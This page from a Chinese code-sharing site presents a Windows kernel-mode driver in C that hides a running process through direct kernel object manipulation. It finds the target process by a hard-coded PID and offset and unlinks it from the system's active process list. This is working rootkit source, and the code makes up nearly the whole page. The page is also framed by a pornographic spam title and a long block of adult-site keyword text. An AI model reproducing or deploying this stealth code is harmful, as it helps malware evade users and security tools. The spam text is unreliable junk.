亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? fristdriver.c

?? Hiding process with DKOM !采用斷開系統中進程的雙向鏈表方式
?? C
字號:
/////////////////////////////////////////////////
// 

#include <ntddk.h>
//#include "IoCTL.h"

// 自定義函數的聲明
NTSTATUS DispatchCreateClose(PDEVICE_OBJECT pDevObj, PIRP pIrp);
void DriverUnload(PDRIVER_OBJECT pDriverObj);
NTSTATUS DispatchIoctl(PDEVICE_OBJECT pDevObj, PIRP pIrp);
ULONG FindProcessEPROC (ULONG terminate_PID);
NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObj, PUNICODE_STRING pRegistryString);
NTSTATUS HideProc();



// 驅動內部名稱和符號連接名稱
#define DEVICE_NAME L"\\Device\\devDriverDemo"
#define LINK_NAME L"\\??\\slDriverDemo"



// FindProcessEPROC takes the PID of the process to find and

// returns the address of the EPROCESS structure for the desired process.

ULONG FindProcessEPROC (ULONG terminate_PID)

{
	//這個函數用來獲得指定PID的 EPROCESS偏移
	PLIST_ENTRY plist_active_procs;

	ULONG eproc;
	ULONG PIDOFFSET,current_PID,start_PID, i_count,FLINKOFFSET;

	eproc   = 0x00000000;
	PIDOFFSET = 0x84;   //SP2
	FLINKOFFSET = 0x88;
	current_PID = 0;
	start_PID   = 0;
	i_count = 0;

	

	if (terminate_PID == 0)

		return terminate_PID;

	// Get the address of the current EPROCESS

	eproc = (ULONG) PsGetCurrentProcess();   //KTHREAD

	start_PID = *((ULONG *)(eproc+PIDOFFSET)); //PID

	current_PID = start_PID;

	while(1)

	{

		if(terminate_PID == current_PID) // found

			return eproc;

		else if((i_count >= 1) && (start_PID == current_PID))

		{
			//當整個進程都遍歷完成卻沒有找到這個PID的時候 才會出現這種情況

			return 0x00000000;

		}

		else { // Advance in the list.

			plist_active_procs = (LIST_ENTRY *) (eproc+FLINKOFFSET);   //LIST

			eproc = (ULONG) plist_active_procs->Flink;   //the flink of the next list entry

			eproc = eproc - FLINKOFFSET; //the next EPROCESS

			current_PID = *((ULONG *)(eproc+PIDOFFSET));  //THE NEXT PID

			i_count++;

			}

	}

}





NTSTATUS HideProc()
{

	PLIST_ENTRY plist_active_procs;
	ULONG FLINKOFFSET,eproc;
	// Find the EPROCESS to hide.

	eproc = FindProcessEPROC(468);
	FLINKOFFSET = 0x88;

	if (eproc == 0x00000000)
	{
		
		DbgPrint("can't find the eproc!!");

		return STATUS_INVALID_PARAMETER;
	}
	plist_active_procs = (LIST_ENTRY *)(eproc+FLINKOFFSET);

	// Change the FLINK and BLINK of the rearward and forward EPROCESS blocks.

	*((ULONG *)plist_active_procs->Blink) = (ULONG) plist_active_procs->Flink;  //動作一

	*((ULONG *)plist_active_procs->Flink+1) = (ULONG) plist_active_procs->Blink; //動作二

	// Change the FLINK and BLINK of the process we are hiding so that when

	// it is dereferenced, it points to a valid memory region.

	plist_active_procs->Flink = (LIST_ENTRY *) &(plist_active_procs->Flink);

	plist_active_procs->Blink = (LIST_ENTRY *) &(plist_active_procs->Flink);

	//這里一定要把flink blink指向自己的link 不然BSOD郁悶死你

	return STATUS_SUCCESS;

}
// 驅動程序加載時調用DriverEntry例程
NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObj, PUNICODE_STRING pRegistryString)
{
	////////////////初始化動作////////////////////////////////
	NTSTATUS status;
	UNICODE_STRING ustrDevName;
	UNICODE_STRING ustrLinkName;
	PDEVICE_OBJECT pDevObj;

	status = STATUS_SUCCESS;

	// 初始化各個派遣例程
	pDriverObj->MajorFunction[IRP_MJ_CREATE] = DispatchCreateClose;
	pDriverObj->MajorFunction[IRP_MJ_CLOSE] = DispatchCreateClose;
	//pDriverObj->MajorFunction[IRP_MJ_DEVICE_CONTROL]=DispatchIoctl;
	pDriverObj->DriverUnload = DriverUnload ;

	// 創建、初始化設備對象
	// 設備名稱

	RtlInitUnicodeString(&ustrDevName, DEVICE_NAME);
	// 創建設備對象

	status = IoCreateDevice(pDriverObj, 
		0,
		&ustrDevName, 
		FILE_DEVICE_UNKNOWN,
		0,
		FALSE,
		&pDevObj);
	if(!NT_SUCCESS(status))
	{
		return status;
	}

	// 創建符號連接名稱
	// 符號連接名稱

	RtlInitUnicodeString(&ustrLinkName, LINK_NAME);
	// 創建關聯
	status = IoCreateSymbolicLink(&ustrLinkName, &ustrDevName);  
	if(!NT_SUCCESS(status))
	{
		IoDeleteDevice(pDevObj);  
		return status;
	}
	////////////////////////初始化完畢////////////////////////////////////////

	if(STATUS_SUCCESS == HideProc())
		DbgPrint("haha hide ok!");

	return STATUS_SUCCESS;

}



// I/O控制派遣例程
/*NTSTATUS DispatchIoctl(PDEVICE_OBJECT pDevObj, PIRP pIrp)
{
	///////////////////////DispatchIoctl///////////////////////////////
	NTSTATUS IoCtlNtstus;
	PIO_STACK_LOCATION pIRPStack;
	ULONG uIoControlCode;
	PVOID pIoBuffer;
	ULONG uInSize;
	ULONG uOutSize ;

	//假設失敗
	IoCtlNtstus = STATUS_INVALID_DEVICE_REQUEST;

	//IRP堆棧
	pIRPStack = IoGetCurrentIrpStackLocation(pIrp);

	//控制代碼
	uIoControlCode = pIRPStack->Parameters.DeviceIoControl.IoControlCode;
	uInSize = pIRPStack->Parameters.DeviceIoControl.InputBufferLength;
	uOutSize = pIRPStack->Parameters.DeviceIoControl.OutputBufferLength;
	//
	pIoBuffer= pIrp-> AssociatedIrp.SystemBuffer;


	switch(uIoControlCode)
	{
		case IO_PID_CTL
		{
			IoCtlNtstus = STATUS_SUCCESS;
		}
		break;
	}
	//完成請求

	if(IoCtlNtstus == STATUS_SUCCESS)
		pIrp->IoStatus.Information = uOutSize;
	else
		pIrp->IoStatus.Information = 0;


	// 完成請求

	pIrp->IoStatus.Status = IoCtlNtstus;
	IoCompleteRequest(pIrp, IO_NO_INCREMENT);

	return IoCtlNtstus;

}*/


void DriverUnload(PDRIVER_OBJECT pDriverObj)
{


	UNICODE_STRING strLink;
	/////收尾工作 /////////////////////////////////


	DbgPrint("unload");
	// 刪除符號連接名稱

	RtlInitUnicodeString(&strLink, LINK_NAME);
	IoDeleteSymbolicLink(&strLink);

	// 刪除設備對象
	IoDeleteDevice(pDriverObj->DeviceObject);
}

// 處理IRP_MJ_CREATE、IRP_MJ_CLOSE功能代碼
NTSTATUS DispatchCreateClose(PDEVICE_OBJECT pDevObj, PIRP pIrp)
{
	pIrp->IoStatus.Status = STATUS_SUCCESS;
	// 完成此請求


	IoCompleteRequest(pIrp, IO_NO_INCREMENT);

	return STATUS_SUCCESS;
}

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
国产人成一区二区三区影院| 日韩专区在线视频| 性做久久久久久久久| 国产精品白丝jk白祙喷水网站 | 91丨九色丨国产丨porny| 欧美色男人天堂| 1024成人网色www| 国产在线播精品第三| 91精品国产综合久久香蕉麻豆 | 成人在线一区二区三区| 欧美日韩一区成人| 自拍偷拍亚洲综合| 国产麻豆成人精品| 精品国产精品一区二区夜夜嗨| 亚洲一区二区三区在线| 成人午夜av影视| 日本一区二区视频在线| 精品一区二区三区在线观看| 欧美美女一区二区三区| 亚洲黄色免费电影| 成人国产电影网| 久久久久久亚洲综合| 精品一区二区三区av| 日韩一区二区三区视频在线观看| 亚洲不卡在线观看| 欧美无砖砖区免费| 性做久久久久久久久| 欧美日韩不卡视频| 亚洲成a人片综合在线| 欧美中文一区二区三区| 一区二区三区免费| 欧美日韩激情一区二区三区| 一二三区精品视频| 欧美亚洲高清一区| 奇米亚洲午夜久久精品| 欧美乱熟臀69xxxxxx| 日韩av电影天堂| 欧美一级夜夜爽| 久久丁香综合五月国产三级网站| 在线综合视频播放| 九九精品视频在线看| 欧美精品一区二区不卡| 国产麻豆精品久久一二三| 国产欧美视频一区二区三区| 成人免费视频app| 综合网在线视频| 在线一区二区三区| 天天影视色香欲综合网老头| 日韩一区二区在线观看视频播放| 精品中文字幕一区二区小辣椒| 久久久久久久一区| 91在线播放网址| 日韩福利视频网| 久久精品人人做人人爽97| 成人的网站免费观看| 亚洲一区自拍偷拍| 日韩精品一区二区在线| 成人黄色片在线观看| 亚洲在线观看免费视频| 日韩欧美一二区| 成人午夜视频网站| 亚洲一区精品在线| 久久综合色婷婷| 在线观看日韩国产| 激情偷乱视频一区二区三区| 亚洲国产精华液网站w| 在线亚洲+欧美+日本专区| 美脚の诱脚舐め脚责91| 中文字幕人成不卡一区| 日韩视频在线你懂得| 国产91精品一区二区| 亚洲国产日韩精品| 国产亚洲一本大道中文在线| 一道本成人在线| 国产成人丝袜美腿| 天堂成人免费av电影一区| 久久久久成人黄色影片| 欧美日韩在线三区| a亚洲天堂av| 激情深爱一区二区| 午夜精品福利在线| 国产精品女人毛片| 亚洲精品在线观看网站| 欧美男生操女生| www.av精品| 国产美女视频一区| 天天综合色天天综合色h| 国产精品成人免费精品自在线观看| 日韩欧美你懂的| 欧美视频中文字幕| 91国偷自产一区二区三区观看 | 亚洲第一av色| 国产精品卡一卡二| 久久一留热品黄| 日韩一区二区免费在线观看| 在线观看国产日韩| 91免费看`日韩一区二区| 国内国产精品久久| 成人深夜福利app| 日本不卡中文字幕| 亚洲综合免费观看高清完整版| 国产午夜久久久久| 久久影院视频免费| 精品国产亚洲在线| 精品久久人人做人人爱| 日韩一区二区在线免费观看| 欧美日韩国产成人在线91| 在线观看91视频| 色先锋久久av资源部| 在线观看视频欧美| 91成人免费电影| 在线国产亚洲欧美| 欧美少妇性性性| 7777精品伊人久久久大香线蕉最新版| 欧美性色黄大片| 欧美日韩你懂的| 制服丝袜激情欧洲亚洲| 欧美一区二区三区四区高清| 欧美视频在线一区二区三区 | 成人97人人超碰人人99| 国产成人av一区二区三区在线观看| 久久91精品久久久久久秒播| 欧美a级理论片| 国产精品系列在线观看| 成人少妇影院yyyy| 91香蕉视频黄| 91福利区一区二区三区| 91精品久久久久久久99蜜桃| 日韩欧美亚洲一区二区| 久久久久国产精品麻豆ai换脸| 欧美国产精品一区| 亚洲少妇中出一区| 天堂va蜜桃一区二区三区| 久久国产精品72免费观看| 风间由美一区二区三区在线观看| 成人免费视频免费观看| 欧洲精品中文字幕| 日韩欧美一级精品久久| 国产性做久久久久久| 亚洲三级电影网站| 丝袜国产日韩另类美女| 国内成人免费视频| 色婷婷av一区二区三区gif| 欧美日韩国产高清一区二区三区| 日韩欧美在线一区二区三区| 国产精品私房写真福利视频| 一区二区成人在线| 激情久久久久久久久久久久久久久久| 国产99久久久国产精品潘金 | 婷婷激情综合网| 国产专区综合网| 欧美亚洲综合久久| 久久久久国产成人精品亚洲午夜| 亚洲另类一区二区| 经典三级一区二区| 91视频免费观看| 久久久天堂av| 午夜精品久久久久久久蜜桃app | 奇米亚洲午夜久久精品| 粉嫩蜜臀av国产精品网站| 欧美三级日韩在线| 日本一区二区三区免费乱视频 | 韩国女主播成人在线| 色一情一伦一子一伦一区| 精品噜噜噜噜久久久久久久久试看| 日韩精品色哟哟| 色综合久久久网| 久久亚洲欧美国产精品乐播| 午夜久久久久久久久| 99精品黄色片免费大全| 久久色中文字幕| 天堂蜜桃91精品| 欧美亚洲动漫制服丝袜| 国产精品盗摄一区二区三区| 精品一区二区三区日韩| 欧美视频一区二区三区在线观看| 中文字幕二三区不卡| 日本一不卡视频| 欧美视频一区二区| 亚洲人被黑人高潮完整版| 国产xxx精品视频大全| 91精品国产美女浴室洗澡无遮挡| 亚洲精品视频免费看| eeuss鲁一区二区三区| 国产亚洲欧洲997久久综合| 日本视频中文字幕一区二区三区| 日本高清无吗v一区| 中文字幕日本乱码精品影院| 成人看片黄a免费看在线| 26uuu久久综合| 国产在线国偷精品免费看| 欧美成人官网二区| 免费不卡在线观看| 9191久久久久久久久久久| 亚洲一区二区3| 欧美三级午夜理伦三级中视频| 亚洲三级小视频| 色综合久久六月婷婷中文字幕| 日韩一区中文字幕| 日本高清无吗v一区|